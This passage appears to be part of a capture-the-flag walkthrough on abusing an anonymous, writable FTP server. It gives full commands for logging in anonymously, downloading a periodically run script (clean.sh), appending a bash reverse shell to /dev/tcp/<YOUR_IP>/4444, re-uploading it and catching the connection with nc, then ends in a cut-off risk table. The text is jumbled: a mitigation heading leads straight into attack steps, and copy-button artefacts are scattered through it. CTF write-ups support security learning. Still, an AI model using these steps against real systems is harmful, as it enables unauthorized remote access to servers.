To mitigate this vulnerability, users can:
). bash ftp <TARGET_IP> # Login as 'anonymous' with any password ls -al Use code with caution. Copied to clipboard Download and Modify: If you find a script that the system likely runs periodically, download it. bash get clean.sh Use code with caution. Copied to clipboard Inject a Reverse Shell: Add a bash reverse shell payload to the script. bash echo "bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1" >> clean.sh Use code with caution. Copied to clipboard Upload the Payload: Replace the original script on the server. bash put clean.sh Use code with caution. Copied to clipboard 3. Gaining a Shell Set up a listener on your attacker machine to catch the connection when the system executes the script. bash nc -lvnp 4444 Use code with caution. Copied to clipboard Once the script runs (often every minute in CTF environments), you will receive a shell as the user running the FTP service or the cron job. 4. Summary of Vulnerabilities Feature Risk Level Description Anonymous Login Medium Allows any user to access the file system without credentials. Write Permissions High Allows attackers to upload malicious scripts or overwrite system files. Service Version Low vsftpd 2.0.8 is old but stable; the risk usually comes from